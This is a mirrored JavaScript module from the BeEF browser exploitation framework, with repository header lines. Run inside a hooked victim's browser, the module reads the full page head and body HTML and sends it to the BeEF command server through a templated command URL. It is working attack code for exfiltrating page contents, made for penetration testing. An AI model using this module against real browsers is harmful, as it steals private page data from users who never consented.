mirror of
https://github.com/beefproject/beef
synced 2026-06-08 13:15:56 +00:00
15 lines
483 B
JavaScript
15 lines
483 B
JavaScript
//
|
|
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
var head = beef.browser.getPageHead();
|
|
var body = beef.browser.getPageBody();
|
|
var mod_data = 'head=' + head + '&body=' + body;
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.status.success());
|
|
return [beef.status.success(), mod_data];
|
|
});
|
|
|